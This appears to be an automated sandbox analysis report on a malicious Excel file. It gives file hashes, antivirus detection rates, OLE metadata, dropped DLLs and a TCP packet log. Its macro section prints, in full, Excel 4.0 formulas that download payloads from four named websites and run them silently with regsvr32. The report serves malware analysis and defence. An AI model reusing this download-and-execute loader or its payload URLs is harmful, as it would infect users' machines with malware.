SHA1:	22E67EB4D6E4B5F09E3DE5A6021462ADCF99FE75
SHA-256:	52769F52F479F16D61C449D307C7FD1FA23FAA0B5589500E0967CD7955CA93D6
SHA-512:	5AE522EB99551146F84F9AA94F270083CEDC1BB8DF26697E15D57FCF7AF126766F8F18ED4FFAC06DF46D88E07C08A8523CD8A4187AF3DD8173BAF35272DE794B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\AnDDvm\lwQjfM.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.1527203772082135
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7YxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Qy/BJ7rGTK/V3
MD5:	828A9B1007DC45671D8A58E240C7C973
SHA1:	8214993BB314D0F4C1889E507F88BEEB3F6E5B63
SHA-256:	B59F16EE5E524814316A8BE8EF54EA02F9A496267555E65EEB585E4ADE85FFEC
SHA-512:	7519B39DD811C3578E0002D5C4F35B2A6855092978004ECB2CA0030C1550AA3D38B346F83C43EB286AB9E1BF6209050078286DDB8BFEA5F1D5DC3EFCAAFEEEEF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\IvkabqgmpEJ\fEKh.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.152718217466625
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7LxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7xy/BJ7rGTK/V3
MD5:	646CA94D40F268C87215FFEA9FD0E826
SHA1:	22E67EB4D6E4B5F09E3DE5A6021462ADCF99FE75
SHA-256:	52769F52F479F16D61C449D307C7FD1FA23FAA0B5589500E0967CD7955CA93D6
SHA-512:	5AE522EB99551146F84F9AA94F270083CEDC1BB8DF26697E15D57FCF7AF126766F8F18ED4FFAC06DF46D88E07C08A8523CD8A4187AF3DD8173BAF35272DE794B
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\MreGm\Zazriwdkuo.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.152704988682108
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7DxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7Zy/BJ7rGTK/V3
MD5:	5A9E3E501F04B27A38BCA881A68A1785
SHA1:	9573AB24845B8FA1408F0381E64A40A5CC2A879E
SHA-256:	306C6E39327DAD93262B4531BA5B95B35F4541C70B0D4A6FE5F1DC8C96C86D8C
SHA-512:	FB6BABA1B27D7019DA35D2CF854A111DEE6574196CC9E2022956ABDB3717B5C2321DC8811533205B3AA87A047AC6D927252688AAFAA802AFB989E38568C1EC58
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	371200
Entropy (8bit):	7.1527177644825635
Encrypted:	false
SSDEEP:	6144:hlNuuXQASByX7fxoJcXy16qFHJ7wwD1w3pq6jTK/V9OT0u:hlNu9ASByX7ly/BJ7rGTK/V3
MD5:	C9FD6F4A594719F21F310D8D0A2E55BB
SHA1:	D999195E150304EF6FA4AE5362FDB70D0457429B
SHA-256:	E654F14F3A98027669FD428597A2B4967B5276BDB94DA7770189E791FD98FC50
SHA-512:	BC7F62214F70076027355858367004A019FBE18EE9404AC58ECC550C9EF5F2B3DB6A01E2B60A33E55B5FE323D52CD1BA0C455AA2C99E058140F9ABD5AF5B8E8E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 59%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d....{.b.........." .................5....................................................@....................................................P.................................................................................... ...............................text............................... ..`.rdata..4.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Fri May 20 07:48:11 2022, Security: 0
Entropy (8bit):	6.4271376493454015
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	Datei_26744565.xls
File size:	69120
MD5:	a8777e5596125dadbb7563052324e1bb
SHA1:	bbd66379044f8d49541a7ae6d793b44a0aea3b49
SHA256:	cbd5b0454385324baee6fc97124c8656ea55f4272f7365e2fbcf570470cba4e6
SHA512:	bc55dc475143442d0168876524c87acce817db63d3df5aa1b036c42e01d0d591e9f7f3fe8c1583ed9bbd9199fa0f1984e25dc11bc476377251e5461b91f77dd0
SSDEEP:	1536:5VKpb8rGYrMPe3q7Q0XV5xtezE8vG8UM+y9s1a6YG2jzQ0viPvDNHh9e2:fKpb8rGYrMPe3q7Q0XV5xtezE8vG8UMU
TLSH:	B9635B467A59C92DF914D33549D74BA97316FC318FAB0B833225B324AFFD8A05A0361B
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Datei_26744565.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1251
Author:	Dream
Last Saved By:	TYHRETH
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2022-05-20 06:48:11
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.404258978601
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . E S R S G B 1 . . . . . E G S H R H V 2 . . . . . E S H V G R E R 3 . . . . . P K E K P P G
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 18 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 d7 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.290129672422
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D r e a m . . . . . . . . . . . T Y H R E T H . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . - . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 58563

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	58563
Entropy:	7.09409181726
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T Y H R E T H B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @ . . . . . . . . . . . " . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 07 00 00 54 59 48 52 45 54 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepre7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://learnviaonline.com/wp-admin/qGb/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kolejleri.com/wp-admin/REvup/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://stainedglassexpress.com/classes/05SkiiW9y4DDGvb6/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://milanstaffing.com/images/D4TRnDubF/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepost7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://learnviaonline.com/wp-admin/qGb/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kolejleri.com/wp-admin/REvup/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://stainedglassexpress.com/classes/05SkiiW9y4DDGvb6/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://milanstaffing.com/images/D4TRnDubF/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)10,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://learnviaonline.com/wp-admin/qGb/","..\uxevr1.ocx",0,0)12,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")14,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kolejleri.com/wp-admin/REvup/","..\uxevr2.ocx",0,0)16,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")18,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://stainedglassexpress.com/classes/05SkiiW9y4DDGvb6/","..\uxevr3.ocx",0,0)20,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")22,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://milanstaffing.com/images/D4TRnDubF/","..\uxevr4.ocx",0,0)24,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")28,5,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 09:50:02.294528961 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:02.444719076 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:02.444813967 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:02.445317984 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:02.741724014 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.381975889 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.382035017 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.382078886 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.382119894 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.382181883 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.383656025 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.389375925 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.389420033 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.389532089 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.389571905 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.389645100 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.389681101 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.389687061 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.389689922 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.389704943 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.389728069 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.389739990 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.389786005 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.538484097 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.538518906 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.538665056 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.552984953 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.553042889 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.553189039 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.577831984 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.577858925 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.577876091 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.577887058 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.577995062 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578027010 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578042984 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578058004 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578061104 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578104019 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578111887 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578138113 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578152895 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578190088 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578227043 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578247070 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578645945 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578670979 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578732014 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578751087 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578758955 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578813076 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578834057 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.578872919 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.578891993 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.581415892 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.581437111 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.581564903 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.589770079 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.696420908 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.696492910 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.696543932 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.696582079 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.696600914 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.696625948 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.696654081 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.709778070 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.709811926 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.709832907 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.709856033 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.709958076 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.711386919 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.743401051 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.743431091 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.743448019 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.743459940 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.743483067 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.743510008 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.743653059 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.745328903 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.745356083 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.745373011 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.745385885 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.745404959 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.745445013 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.745493889 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.782417059 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.782448053 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.782589912 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.788149118 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.788173914 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.788189888 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.788202047 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.788310051 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.802514076 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802539110 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802556038 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802572012 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802588940 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802608013 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802625895 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802645922 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802645922 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.802695036 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802704096 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.802714109 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802721024 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.802731991 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802741051 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.802750111 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802753925 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.802768946 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.802792072 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.802804947 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802822113 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.802850008 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.803173065 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.857043982 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.857078075 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.857290983 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.875782013 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.875813007 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.876008987 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.900186062 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.900221109 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.900237083 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.900249958 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.900379896 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.901989937 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.902015924 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.902132988 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.908421993 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.908448935 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.908577919 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.909539938 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.909565926 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.909584045 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.909601927 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.909631968 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.909862995 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.909882069 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.909914970 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.909923077 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.909924984 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.938898087 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.938929081 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.939166069 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.950813055 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.950845003 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.950860977 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.950877905 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.951003075 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.951024055 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.951139927 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.951159954 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.951211929 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.964704990 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.964735985 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.964749098 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.964766026 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.964984894 CEST	49171	80	192.168.2.22	103.171.181.223
May 23, 2022 09:50:03.970309973 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970329046 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970345974 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970362902 CEST	80	49171	103.171.181.223	192.168.2.22
May 23, 2022 09:50:03.970381021 CEST	80	49171	103.171.181.223	192.168.2.22
